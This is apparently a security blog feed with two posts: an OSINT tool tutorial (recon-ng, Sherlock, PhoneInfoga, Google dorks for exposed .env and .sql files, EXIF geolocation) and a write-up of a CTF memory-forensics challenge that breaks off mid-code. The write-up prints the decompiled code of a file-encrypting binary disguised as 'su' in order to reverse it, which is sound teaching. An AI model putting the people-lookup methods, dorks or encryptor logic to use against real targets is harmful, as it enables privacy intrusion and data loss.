  | recon/locations-locations/geocode                 | 1.0     | not installed | 2019-06-24 |   | * |
  | recon/locations-locations/reverse_geocode         | 1.0     | not installed | 2019-06-24 |   | * |
  | recon/locations-pushpins/flickr                   | 1.0     | not installed | 2019-06-24 |   | * |
  | recon/locations-pushpins/shodan                   | 1.1     | not installed | 2020-07-07 | * | * |
  | recon/locations-pushpins/twitter                  | 1.1     | not installed | 2019-10-17 |   | * |
  | recon/locations-pushpins/youtube                  | 1.2     | not installed | 2020-09-02 |   | * |
  | recon/netblocks-companies/censys_netblock_company | 2.1     | not installed | 2022-01-31 | * | * |
  | recon/netblocks-companies/whois_orgs              | 1.0     | not installed | 2019-06-24 |   |   |
  | recon/netblocks-hosts/censys_netblock             | 2.1     | not installed | 2022-01-31 | * | * |
  | recon/netblocks-hosts/reverse_resolve             | 1.0     | not installed | 2019-06-24 |   |   |
  | recon/netblocks-hosts/shodan_net                  | 1.2     | not installed | 2020-07-21 | * | * |
  | recon/netblocks-hosts/virustotal                  | 1.0     | not installed | 2019-06-24 |   | * |
  | recon/netblocks-ports/census_2012                 | 1.0     | not installed | 2019-06-24 |   |   |
  | recon/netblocks-ports/censysio                    | 1.0     | not installed | 2019-06-24 |   | * |
  | recon/ports-hosts/migrate_ports                   | 1.0     | not installed | 2019-06-24 |   |   |
  | recon/ports-hosts/ssl_scan                        | 1.1     | not installed | 2021-08-24 |   |   |
  | recon/profiles-contacts/bing_linkedin_contacts    | 1.2     | not installed | 2021-08-24 |   | * |
  | recon/profiles-contacts/dev_diver                 | 1.1     | not installed | 2020-05-15 |   |   |
  | recon/profiles-contacts/github_users              | 1.0     | not installed | 2019-06-24 |   | * |
  | recon/profiles-profiles/namechk                   | 1.0     | not installed | 2019-06-24 |   | * |
  | recon/profiles-profiles/profiler                  | 1.2     | not installed | 2023-12-30 |   |   |
  | recon/profiles-profiles/twitter_mentioned         | 1.0     | not installed | 2019-06-24 |   | * |
  | recon/profiles-profiles/twitter_mentions          | 1.0     | not installed | 2019-06-24 |   | * |
  | recon/profiles-repositories/github_repos          | 1.1     | not installed | 2020-05-15 |   | * |
  | recon/repositories-profiles/github_commits        | 1.0     | not installed | 2019-06-24 |   | * |
  | recon/repositories-vulnerabilities/gists_search   | 1.0     | not installed | 2019-06-24 |   |   |
  | recon/repositories-vulnerabilities/github_dorks   | 1.0     | not installed | 2019-06-24 |   | * |
  | reporting/csv                                     | 1.0     | not installed | 2019-06-24 |   |   |
  | reporting/html                                    | 1.0     | not installed | 2019-06-24 |   |   |
  | reporting/json                                    | 1.0     | not installed | 2019-06-24 |   |   |
  | reporting/list                                    | 1.0     | not installed | 2019-06-24 |   |   |
  | reporting/proxifier                               | 1.0     | not installed | 2019-06-24 |   |   |
  | reporting/pushpin                                 | 1.0     | not installed | 2019-06-24 |   | * |
  | reporting/xlsx                                    | 1.0     | not installed | 2019-06-24 |   |   |
  | reporting/xml                                     | 1.1     | not installed | 2019-06-24 |   |   |
  +--------------------------------------------------------------------------------------------------+

接下來示範用 hackertarget 去尋找 hostname

首先先把 hackertarget 先下載下來

1
marketplace install hackertarget

再把它 load 進來

1
modules load hackertarget

接下來用 info 看一下會需要什麼參數

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ [recon-ng][default][hackertarget] > info

      Name: HackerTarget Lookup
    Author: Michael Henriksen (@michenriksen)
   Version: 1.1

Description:
  Uses the HackerTarget.com API to find host names. Updates the 'hosts' table with the results.

Options:
  Name    Current Value  Required  Description
  ------  -------------  --------  -----------
  SOURCE                 yes       source of input (see 'info' for details)

Source Options:
  default        SELECT DISTINCT domain FROM domains WHERE domain IS NOT NULL
  <string>       string representing a single input
  <path>         path to a file containing a list of inputs
  query <sql>    database query returning one column of inputs

接下來可以看到 SOURCE 會需要填東西，那這欄就是要填要偵查的 domain，以 google.com 舉例。

用下面指令設定 SOURCE

1
options set SOURCE google.com

再看一次 info，可以看到它被設定成了 google.com 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ [recon-ng][default][hackertarget] > info

      Name: HackerTarget Lookup
    Author: Michael Henriksen (@michenriksen)
   Version: 1.1

Description:
  Uses the HackerTarget.com API to find host names. Updates the 'hosts' table with the results.

Options:
  Name    Current Value  Required  Description
  ------  -------------  --------  -----------
  SOURCE  google.com     yes       source of input (see 'info' for details)

Source Options:
  default        SELECT DISTINCT domain FROM domains WHERE domain IS NOT NULL
  <string>       string representing a single input
  <path>         path to a file containing a list of inputs
  query <sql>    database query returning one column of inputs

接下來打 run 就會開始執行

執行的過程中也會出現結果，最後在下 show hosts 指令就會出現表格樣式的結果

Whois.domaintools

網站連結：https://whois.domaintools.com/

這個網站可以找到關於 domain 的一些資訊，包括註冊商、何時註冊、何時到期與最後更新時間等等

Sherlock

下載連結：https://github.com/sherlock-project/sherlock

這是一個可以快速搜尋各大平台用戶名的工具

假設今天我們獲得到了一個用戶叫做yunshiuan 接下來丟進sherlock

發現了跑出許多用戶名稱是yunshiuan 的平台，接下來就可以一一去看是不是自己想要的

HaveIBeenPwned

連結：https://haveibeenpwned.com/

這是一個可以輸入信箱，他會說輸入的信箱是否已經被洩漏出去了

假設輸入一個大家在測試時很常輸入的aaaaa@gmail.com

可以看到這個 email 在 20 多個平台被洩漏了，底下會跟你說是在何時因為什麼而被洩漏

Epieos

網站連結：https://epieos.com/

他提供了email與手機號碼的反向查詢，幫你把和該email / phone 有關的社群帳號、Google 活動、評價、公開痕跡等串起來顯示，方便做初步調查或驗證線索

底下其實還有其他網站或者應用程式的掃描，但那些就會需要付費才能觀看

Phoneinfoga

下載連結：https://github.com/sundowndev/phoneinfoga

這個工具可以查詢這個電話號碼的基本metadata

1
$ ./phoneinfoga scan -n +886911111111

另外也可以用開server 的方式用網頁查詢

1
2
3
$ ./phoneinfoga serve -p 8080

Listening on :8080

Google Hacking

這是 Google 提供的進階搜尋法，它提供一些方式可以更準確地找到我們想要的資料或網站。

以下是常見的搜尋

•site:domain.com — 限定在某個網域搜尋，ex:site:github.com。

•filetype:pdf / filetype:env / filetype:sql — 找特定檔案類型。

•inurl:admin / inurl:login — URL 中含特定字串（找管理頁面）。

•intitle:"index of" — 找目錄列舉頁面（常暴露檔案列表）。

•"exact phrase" — 精確比對字串（例如機密檔名或參數名）。

•-（負號）排除字詞，ex: site:example.com -site:blog.example.com。

另外也可以用 OR、+ 來串接多個進階搜尋結果

Google Map / Google Earth

Google 地圖是 Google 提供的網路地圖服務，這個服務提供了多種視圖模式，包括衛星圖、街道圖和地形圖，讓用戶可以根據需求選擇最適合的視角來查看地圖

Google Earth 是一個更進階的 3D 地球瀏覽器，讓用戶能夠以立體的方式探索世界。歷史影像功能讓用戶可以查看不同時期的衛星影像，觀察城市的發展變化，而街景整合功能則在 3D 環境中嵌入了街景視圖，並且可以匯入 KML 檔

Google 智慧鏡頭

Google 智慧鏡頭是一個基於 AI 的視覺搜尋工具，你可以把你想要辨識的圖片丟進去，它會把網路上類似的圖片丟給你

在搜尋列就可以找到智慧鏡頭的 icon

點擊後把圖片丟進去它就會幫你查有沒有類似的圖片

Geohints

網站連結：https://geohints.com/

這個網站整理了很多每個國家的 Google 街景具有特色的部分，像是車牌、道路、電線竿、標誌等照片，如果遇到沒看過的都可以來這邊查

Overpass turbo

網址：https://overpass-turbo.eu/

Overpass Turbo 是一個基於網頁的查詢工具，專門用於查詢 OpenStreetMap 資料庫。它提供了一個直觀的介面，讓用戶能夠使用 Overpass QL 查詢語言來搜尋和提取 OSM 中的地理資料。

而 OpenStreetMap 是世界上最大的開放地理資料庫，包含了全球各地的道路、建築物、興趣點等詳細資訊。

接下來介紹一下要怎麼使用Overpass QL 查詢我們想要的東西。

首先是 OSM 的資料結構，它使用節點 (nodes)、路徑 (ways) 和關係 (relations) 三種基本元素來描述地理物件：

  • 節點 (Nodes)：代表點狀物件，如商店或地標
  • 路徑 (Ways)：代表線狀或面狀物件，如道路或建築物
  • 關係 (Relations)：用於描述複雜的物件，如多個部分組成的建築物群

最基本的查詢以 [out:json]; 開始，這指定了輸出格式。接著使用 node、way 或 relation 來指定要查詢的物件類型，而nwr則可以將三者都包含，然後在方括號中指定搜尋條件，關於搜尋條件的所有的key 跟value 都可以在這邊查到 https://wiki.openstreetmap.org/wiki/Map\_features 。

像圖示中是L3akCTF 2025的其中一題Fidget Spinner我們想要找在厄蘭島上所有的風車地點，可以這樣寫

1
2
3
4
5
6
7
8
9
[out:json][timeout:25];
//restrict our search to the island
area[name="Öland"];
(
  // search for windmills
  nwr["man_made"="windmill"](area); //(area)的功能是限制在Öland地點上查詢
);
// print results
out geom;

之後出來的結果就會是這樣

接下來它也可以匯出成 KML 檔，然後放到 Google Map / Google Earth 上

接下來就可以去一一驗證是否是題目想要的位置

另外也可以像這樣把想要的區域先匡起來然後查詢

source : https://medium.com/@PretendNotToBe/ea6e8f3fb763

Exiftool

它可以去看圖片的基本資料，例如圖片大小、修改時間等等，但它可以去看這張照片的拍攝地點在哪裡，並且會給你 GPS 定位。

舉個例子：DownUnderCTF 2023 Excellent Vista!

下載之後用 exiftool 看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
$ exiftool ExcellentVista.jpg

ExifTool Version Number         : 13.10
File Name                       : ExcellentVista.jpg
Directory                       : .
File Size                       : 2.7 MB
File Modification Date/Time     : 2025:09:23 15:41:41+08:00
File Access Date/Time           : 2025:09:23 15:41:45+08:00
File Inode Change Date/Time     : 2025:09:23 15:41:44+08:00
File Permissions                : -rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
Exif Byte Order                 : Big-endian (Motorola, MM)
X Resolution                    : 72
Y Resolution                    : 72
Resolution Unit                 : inches
Y Cb Cr Positioning             : Centered
Date/Time Original              : 2023:08:31 22:58:56
Create Date                     : 2023:08:31 22:58:56
Sub Sec Time Original           : 00
Sub Sec Time Digitized          : 00
GPS Version ID                  : 2.3.0.0
GPS Latitude Ref                : South
GPS Longitude Ref               : East
GPS Altitude Ref                : Above Sea Level
GPS Speed Ref                   : km/h
GPS Speed                       : 0
GPS Img Direction Ref           : True North
GPS Img Direction               : 122.5013812
GPS Dest Bearing Ref            : True North
GPS Dest Bearing                : 122.5013812
GPS Horizontal Positioning Error: 6.055886243 m
Padding                         : (Binary data 2060 bytes, use -b option to extract)
About                           : uuid:faf5bdd5-ba3d-11da-ad31-d33d75182f1b
Image Width                     : 4032
Image Height                    : 3024
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 4032x3024
Megapixels                      : 12.2
Create Date                     : 2023:08:31 22:58:56.00
Date/Time Original              : 2023:08:31 22:58:56.00
GPS Altitude                    : 70.5 m Above Sea Level
GPS Latitude                    : 29 deg 30' 34.33" S
GPS Longitude                   : 153 deg 21' 34.46" E
GPS Position                    : 29 deg 30' 34.33" S, 153 deg 21' 34.46" E

最後它提供了拍照的地點。

What3words

網站連結：https://what3words.com/

這個網站可以只利用三個相關的詞彙去定位到想要的地點，因為有些地方會沒有地址，所以會需要靠這個方式定位

像是成功大學資訊系館是 imported.dull.buns，之後去這個網站查就一樣會定位到這邊

]]> Blue Team 常用事件代碼、Sysmon 事件與 IDS/IPS 工具速查 ACSCCTF 2025 Please Recover My Files https://yunshiuan.com/2025/07/31/2025ACSCCTF/ 2025-07-31T16:00:00.000Z 2026-04-29T16:21:43.364Z 🍘 仙貝工具

Volatility

下載連結：

Volatility 2 : https://github.com/volatilityfoundation/volatility

Volatility 3 : https://github.com/volatilityfoundation/volatility3

經典的記憶體分析工具，利用指令可以分析 memory dump 中的關鍵訊息，像是進程、網路連線、檔案……等等。

基本的操作這邊推薦可以直接上網查有人整理好的指令doc

而Volatility分為2與3版，差別就是一個是要使用 python2 執行，另一個是用 python3 執行，並且現在Volatility 2 已經沒有在維護了，但是一些 Plugin 的完整度在目前為止還是比 Volatility 3 還要高並且豐富，所以有些人還是會比較會偏向使用 Volatility 2 ，今天分享會主要使用 Volatility 3

Ida

下載連結：https://hex-rays.com/ida-pro

經典反編譯工具， 可以將執行檔反編譯成人可以看懂的程式碼

Cyberchef

網站連結：https://gchq.github.io/CyberChef/

非常好用的解密網站，支援多個加解密功能

題目大綱

這題的題意大致是，他發現了他的檔案被加密了，請恢復他，因此主要的目標是會需要找到怪怪的加密程式以及被加密的檔案，並分析他的加密程式是怎麼加密的並還原他。

調查開始

起手式先看一下他的作業系統以及他的版本是多少

得知說這個 memory dump 的作業系統為 Debian，而他 Linux 核心版本是 6.1.0-27，並且他是2024-11-01出現的，試試看pslist有沒有辦法出現東西，但因為官方給的Sysbol Table太少，因此高機率會出現 Symbol Table 缺失錯誤

因此可以試試看前一天提到的 https://github.com/Abyss-W4tcher/volatility3-symbols 有人已經幫忙整理的 Symbol Table 找找看，這邊剛好他有。

因此把對應版本的 Symbol Table 下載下來後放在V olatility 3 資料夾中的 volatility3\symbols\linux 路徑，再次用 pslist 看一下會不會成功。發現確實可以正常分析了

接下來下pstree 看一下有什麼值得看並且可疑的進程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
PS C:\Users\yunshiuan\Desktop\Tools\volatility3 > python3 .\vol.py -f "C:\Users\yunshiuan\Desktop\asac\chall.raw" linux.pstree
Volatility 3 Framework 2.26.2
Progress:  100.00               Stacking attempts finished
OFFSET (V)      PID     TID     PPID    COMM

0x8a6100241fc0  1       1       0       systemd
* 0x8a611367bf80        356     356     1       systemd-journal
* 0x8a61015d5f40        388     388     1       systemd-udevd
* 0x8a610b808000        440     440     1       systemd-timesyn
* 0x8a6107958000        630     630     1       accounts-daemon
* 0x8a6107959fc0        631     631     1       anacron
* 0x8a610795bf80        632     632     1       avahi-daemon
** 0x8a610b823f80       646     646     632     avahi-daemon
* 0x8a61015d0000        633     633     1       cron
* 0x8a61159b5f40        634     634     1       dbus-daemon
* 0x8a61159b1fc0        636     636     1       low-memory-moni
* 0x8a61159b3f80        637     637     1       polkitd
* 0x8a610794df40        638     638     1       power-profiles-
* 0x8a6107948000        639     639     1       switcheroo-cont
* 0x8a6107949fc0        640     640     1       systemd-logind
* 0x8a610794bf80        641     641     1       udisksd
* 0x8a6107965f40        652     652     1       NetworkManager
* 0x8a6106740000        657     657     1       wpa_supplicant
* 0x8a6112083f80        674     674     1       ModemManager
* 0x8a61120a8000        693     693     1       cupsd
* 0x8a61120a9fc0        707     707     1       gdm3
** 0x8a6110c3bf80       1193    1193    707     gdm-session-wor
*** 0x8a610b80df40      1273    1273    1193    gdm-wayland-ses
**** 0x8a6108263f80     1283    1283    1273    gnome-session-b
* 0x8a6103590000        724     724     1       cups-browsed
* 0x8a61035a3f80        773     773     1       rtkit-daemon
* 0x8a6108a4df40        893     893     1       upowerd
* 0x8a610abfbf80        923     923     1       geoclue
* 0x8a610abf8000        930     930     1       packagekitd
* 0x8a6112e08000        938     938     1       colord
* 0x8a610a445f40        1205    1205    1       systemd
** 0x8a6108a4bf80       1208    1208    1205    (sd-pam)
** 0x8a61120a0000       1223    1223    1205    pipewire
** 0x8a6107658000       1228    1228    1205    wireplumber
** 0x8a6107453f80       1232    1232    1205    pipewire-pulse
** 0x8a610a438000       1234    1234    1205    dbus-daemon
** 0x8a610a43df40       1235    1235    1205    gnome-keyring-d
** 0x8a610a439fc0       1244    1244    1205    gvfsd
*** 0x8a6112e09fc0      2041    2041    1244    gvfsd-trash
** 0x8a6109c2df40       1258    1258    1205    gvfsd-fuse
** 0x8a6104c80000       1324    1324    1205    tracker-miner-f
** 0x8a6104c7df40       1332    1332    1205    gcr-ssh-agent
** 0x8a6104c78000       1333    1333    1205    gnome-session-c
** 0x8a6104c79fc0       1334    1334    1205    ssh-agent
** 0x8a6108265f40       1342    1342    1205    gnome-session-b
*** 0x8a61027c1fc0      1360    1360    1342    at-spi-bus-laun
**** 0x8a61027d1fc0     1373    1373    1360    dbus-daemon
*** 0x8a6108105f40      1540    1540    1342    evolution-alarm
*** 0x8a6112c89fc0      1569    1569    1342    gsd-disk-utilit
*** 0x8a6109a73f80      1574    1574    1342    gnome-software
** 0x8a61027c5f40       1361    1361    1205    gvfs-udisks2-vo
** 0x8a61027d0000       1365    1365    1205    gnome-shell
** 0x8a61027d3f80       1376    1376    1205    gvfs-gphoto2-vo
** 0x8a61027c0000       1385    1385    1205    gvfs-goa-volume
** 0x8a6107d43f80       1395    1395    1205    goa-daemon
** 0x8a6107b70000       1408    1408    1205    goa-identity-se
** 0x8a6107b75f40       1417    1417    1205    gvfs-mtp-volume
** 0x8a6107b10000       1422    1422    1205    gvfs-afc-volume
** 0x8a6107ba1fc0       1460    1460    1205    xdg-permission-
** 0x8a6107ba3f80       1463    1463    1205    gnome-shell-cal
** 0x8a610815df40       1475    1475    1205    evolution-sourc
** 0x8a6108161fc0       1486    1486    1205    gjs
** 0x8a61080e9fc0       1488    1488    1205    at-spi2-registr
** 0x8a6108163f80       1498    1498    1205    sh
*** 0x8a6112c8bf80      1568    1568    1498    ibus-daemon
**** 0x8a615b9e1fc0     1689    1689    1568    ibus-dconf
**** 0x8a615b9e0000     1690    1690    1568    ibus-extension-
**** 0x8a61111a0000     1759    1759    1568    ibus-engine-sim
** 0x8a6108171fc0       1501    1501    1205    gsd-a11y-settin
** 0x8a6108175f40       1502    1502    1205    gsd-color
** 0x8a6108173f80       1503    1503    1205    gsd-datetime
** 0x8a6108170000       1505    1505    1205    gsd-housekeepin
** 0x8a6108180000       1508    1508    1205    gsd-keyboard
** 0x8a6108181fc0       1512    1512    1205    gsd-media-keys
** 0x8a6108185f40       1518    1518    1205    gsd-power
** 0x8a6108183f80       1519    1519    1205    gsd-print-notif
** 0x8a61080f1fc0       1526    1526    1205    gsd-rfkill
** 0x8a61080f3f80       1527    1527    1205    gsd-screensaver
** 0x8a611118df40       1536    1536    1205    gsd-sharing
** 0x8a611118bf80       1537    1537    1205    gsd-smartcard
** 0x8a6111188000       1538    1538    1205    gsd-sound
** 0x8a6111189fc0       1539    1539    1205    gsd-usb-protect
** 0x8a61111a1fc0       1541    1541    1205    gsd-wacom
** 0x8a6112c95f40       1570    1570    1205    evolution-calen
** 0x8a615b86df40       1633    1633    1205    gjs
** 0x8a615b9cbf80       1684    1684    1205    evolution-addre
** 0x8a615b9cdf40       1700    1700    1205    ibus-portal
** 0x8a615b9f5f40       1712    1712    1205    gsd-printer
** 0x8a6112088000       1745    1745    1205    xdg-desktop-por
** 0x8a6109a90000       1758    1758    1205    xdg-document-po
*** 0x8a61661a5f40      1778    1778    1758    fusermount3
** 0x8a615bbf8000       1789    1789    1205    xdg-desktop-por
** 0x8a610745df40       1830    1830    1205    xdg-desktop-por
** 0x8a6108859fc0       2015    2015    1205    gnome-calendar
** 0x8a61035a1fc0       2017    2017    1205    gnome-control-c
** 0x8a61035a0000       2021    2021    1205    gnome-terminal-
*** 0x8a610b801fc0      2255    2255    2021    bash
**** 0x8a6107ba0000     2258    2258    2255    su
***** 0x8a6112c9df40    2259    2259    2258    bash
****** 0x8a6110c3df40   2272    2272    2259    avml
** 0x8a6103431fc0       2102    2102    1205    dconf-service
** 0x8a610b813f80       2261    2261    1205    su
** 0x8a6108868000       2279    2279    1205    gvfsd-metadata
* 0x8a6108f9bf80        1841    1841    1       fwupd

其中有趣的是在 102 行 他開了bash 後執行了 su ，之後底下又開了 bash 之後是 avml ，如果是bash的話有一個很不錯用的linux.bash Plugin 可以使用，它可以去看之前使用者在bash中輸入了什麼指令。

1
python3 .\vol.py -f "C:\Users\yunshiuan\Desktop\asac\chall.raw" linux.bash

看到超可疑的 su 了，因為一般下 su 不會使用./ 在現在位置執行，因此可重點去看這個 su 在幹嘛。

首先先看這個 su 到底在哪裡

1
python3 .\vol.py -f "C:\Users\yunshiuan\Desktop\asac\chall.raw" linux.pagecache.Files > files.txt

ok 找到了 發現他被放在/home/acsc/su ，接下來知道他在哪之後就可以把它 Dump 出來

1
python3 .\vol.py -f "C:\Users\yunshiuan\Desktop\asac\chall.raw" linux.pagecache.InodePages --find '/home/acsc/su' --dump

成功把 su dump 出來了之後就可以直接開 ida 分析

開 ida 然後點一點就可以發現到一個酷酷的加密函式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
unsigned __int64 sub_403175()
{
  unsigned __int64 result; // rax
  char v1; // [rsp+0h] [rbp-240h]
  char v2; // [rsp+0h] [rbp-240h]
  char v3; // [rsp+0h] [rbp-240h]
  int i; // [rsp+8h] [rbp-238h]
  signed int v5; // [rsp+Ch] [rbp-234h]
  unsigned int v6; // [rsp+10h] [rbp-230h]
  signed int v7; // [rsp+14h] [rbp-22Ch]
  __int64 v8; // [rsp+18h] [rbp-228h] BYREF
  unsigned __int64 j; // [rsp+20h] [rbp-220h]
  unsigned __int64 k; // [rsp+28h] [rbp-218h]
  __int64 v11; // [rsp+30h] [rbp-210h]
  __int64 v12; // [rsp+38h] [rbp-208h]
  __int64 v13; // [rsp+40h] [rbp-200h]
  __int64 flag_content_len; // [rsp+48h] [rbp-1F8h]
  __int64 flag_content; // [rsp+50h] [rbp-1F0h]
  __int64 v16; // [rsp+58h] [rbp-1E8h]
  __int64 v17; // [rsp+60h] [rbp-1E0h]
  __int64 v18; // [rsp+68h] [rbp-1D8h]
  char v19[48]; // [rsp+70h] [rbp-1D0h] BYREF
  __int64 v20; // [rsp+A0h] [rbp-1A0h]
  char v21[48]; // [rsp+100h] [rbp-140h] BYREF
  unsigned __int64 v22; // [rsp+130h] [rbp-110h]
  char v23[16]; // [rsp+190h] [rbp-B0h] BYREF
  char flag_filename[16]; // [rsp+1A0h] [rbp-A0h] BYREF
  char filename[32]; // [rsp+1B0h] [rbp-90h] BYREF
  char v26[32]; // [rsp+1D0h] [rbp-70h] BYREF
  char v27[32]; // [rsp+1F0h] [rbp-50h] BYREF
  char v28[40]; // [rsp+210h] [rbp-30h] BYREF
  unsigned __int64 v29; // [rsp+238h] [rbp-8h]

  v29 = __readfsqword(0x28u);
  if ( (unsigned int)random_string(v23, 16LL) == 1 )
  {
    for ( i = 0; i <= 15; ++i )
    {
      v28[2 * i] = *(_BYTE *)(qword_8E6110 + (((unsigned __int8)v23[i] >> 4) & 0xF));
      v28[2 * i + 1] = *(_BYTE *)(qword_8E6110 + (v23[i] & 0xF));
    }
    v28[32] = 0;
    printf((__int64)&unk_8EA6C0, 40LL, (__int64)"AES_IV=%s", v28);
    sub_6EF840(&unk_8EA6C0);
    if ( (unsigned int)random_string(v26, 32LL) == 1 )
    {
      sub_403086(v26, v27, 32LL);
      xorenc(filename, &debian_log_addr, 19LL);
      v11 = sub_6FC8B0(filename, "wb");
      if ( v11 )
      {
        fwrite(v27, 1LL, 32LL, v11);
        fclose(v11);
        v5 = open(filename, 0, v1);
        if ( v5 >= 0 )
        {
          if ( !(unsigned int)sub_72C2D0((unsigned int)v5, v21) && (__int64)v22 > 0 )
          {
            v12 = mmap(0LL);
            if ( v12 != -1 )
            {
              v13 = v12;
              for ( j = 0LL; j < v22; j += 4096LL )
                ;
            }
          }
          close(v5);
        }
        xorenc(flag_filename, &unk_7C1068, 15LL);
        v6 = open(flag_filename, 2, v2);
        if ( (v6 & 0x80000000) == 0 )
        {
          if ( (unsigned int)sub_72C2D0(v6, v19) || (flag_content_len = v20, (flag_content = malloc(v20)) == 0) )
          {
            close(v6);
            goto LABEL_34;
          }
          if ( read(v6, flag_content, flag_content_len) != flag_content_len )
          {
            free(flag_content);
            close(v6);
            goto LABEL_34;
          }
          v16 = sub_402DEE(flag_content, flag_content_len, v26, v23, &v8);
          free(flag_content);
          if ( v16 )
          {
            if ( (unsigned int)sub_72CBA0(v6, 0LL) || sub_72C300(v6, 0LL, 0LL) < 0 )
            {
              free(v16);
              close(v6);
              goto LABEL_34;
            }
            write(v6, v16, v8);
            free(v16);
            v7 = open(flag_filename, 0, v3);
            if ( v7 >= 0 )
            {
              if ( !(unsigned int)sub_72C2D0((unsigned int)v7, v21) && (__int64)v22 > 0 )
              {
                v17 = mmap(0LL);
                if ( v17 != -1 )
                {
                  v18 = v17;
                  for ( k = 0LL; k < v22; k += 4096LL )
                    ;
                }
              }
              close(v7);
            }
          }
          close(v6);
        }
      }
    }
  }
LABEL_34:
  result = v29 - __readfsqword(0x28u);
  if ( result )
    sub_72F780();
  return result;
}

分析一下他的執行邏輯

  1. 首先他先取了一個16 bytes 的隨機字串，並且經過了
    1
    2
    3
    4
    5
    for ( i = 0; i <= 15; ++i )
    {
          v28[2 * i] = *(_BYTE *)(qword_8E6110 + (((unsigned __int8)v23[i] >> 4) & 0xF));
          v28[2 * i + 1] = *(_BYTE *)(qword_8E6110 + (v23[i] & 0xF));
    }
    這樣的加密過後輸出AES_IV=XXXX
  2. 再取一個 32 bytes 的隨機字串，對這個字串做
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    char aAcsc2025[] = "acsc2025"
    unsigned __int64 __fastcall sub_403086(__int64 a1, __int64 a2, unsigned __int64 a3)
    {
      unsigned __int64 result; // rax
      char v5; // [rsp+1Ah] [rbp-Eh]
      unsigned __int64 i; // [rsp+20h] [rbp-8h]

      for ( i = 0LL; ; ++i )
      {
        result = i;
        if ( i >= a3 )
          break;
        v5 = *(_BYTE *)(a1 + i) ^ aAcsc2025[i % 8];
        if ( ((7 * (_BYTE)i + 13) & 1) == 0 )
          sub_402D55();
        *(_BYTE *)(a2 + i) = ((((unsigned __int8)i ^ 0x13) + v5) << (8 - ((i & 7) + 1))) | ((int)(unsigned __int8)((i ^ 0x13) + v5) >> ((i & 7) + 1));
      }
      return result;
    }


    __int64 sub_402D55()
    {
      int v0; // edx
      __int64 result; // rax
      int v2; // [rsp+0h] [rbp-8h]
      int i; // [rsp+4h] [rbp-4h]

      v2 = 305419896;
      for ( i = 0; i <= 4; ++i )
      {
        v0 = i + 8 * v2;
        result = v0 ^ (unsigned int)v2;
        v2 ^= v0;
      }
      return result;
    }
    這樣的加密之後，執行xorenc 將硬編碼進去的字串與key= “acsc2025” XOR 解密後以這個解密後的字串當作路徑將加密後過的隨機32 bytes 寫入進去
  3. 最後再使用xorenc 解密另一個硬編碼的字串與key= “acsc2025” XOR 解密後，將這個解密過後的路徑檔案內容先讀出來並且進行AES 加密後再寫回去，而AES 的key 是之前取的隨機16 bytes 的字串，IV 則也是之前取的隨機32 bytes 的字串

那這樣就可以整理等等解密的思路

  • 先把 會經過XOR 解密的路徑先解密出來
  • 得知 IV 與 KEY
  • 最後AES 解密

XOR 解密字串

這邊首先先將硬編碼的兩個字串XOR解密，這邊直接使用 Cyberchef
首先先處理第一個 xor 字串解密

ok 知道了他會將隨機32 bytes 字串放進/var/log/debian.log中

現在解第二個xor解密字串

ok，這邊也得知道他會去/home/acsc/flag中將自容讀出來並加密他再寫回去。

有了以上資訊之後接下來要拿到 IV 與 KEY

IV

加密過後的 IV 我們可以知道他會輸出到console 上，因此我們可以直接試試看strings 這個 linux 記憶體dump 他把它輸出的AES_IV=XXX抓下來

1
strings "C:\Users\yunshiuan\Desktop\asac\chall.raw" | Select-String -Pattern 'AES_IV'

成功抓到後，接下來寫解密腳本，這邊請AI代寫，把原本的隨機16 bytes 字串還原

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>

// Hex character lookup table (assuming standard hex characters)
char hex_chars[] = "0123456789ABCDEF";

// Function to decode hex string back to binary
void decode_hex_string(const char* hex_string, unsigned char* output, int length)
{
    for (int i = 0; i < length; i++)
    {
        // Get high nibble (first hex character)
        char high_char = hex_string[2 * i];
        // Get low nibble (second hex character)
        char low_char = hex_string[2 * i + 1];
        
        // Convert hex characters to values
        int high_val = 0, low_val = 0;
        
        if (high_char >= '0' && high_char <= '9')
            high_val = high_char - '0';
        else if (high_char >= 'A' && high_char <= 'F')
            high_val = high_char - 'A' + 10;
        else if (high_char >= 'a' && high_char <= 'f')
            high_val = high_char - 'a' + 10;
            
        if (low_char >= '0' && low_char <= '9')
            low_val = low_char - '0';
        else if (low_char >= 'A' && low_char <= 'F')
            low_val = low_char - 'A' + 10;
        else if (low_char >= 'a' && low_char <= 'f')
            low_val = low_char - 'a' + 10;
        
        // Combine high and low nibbles
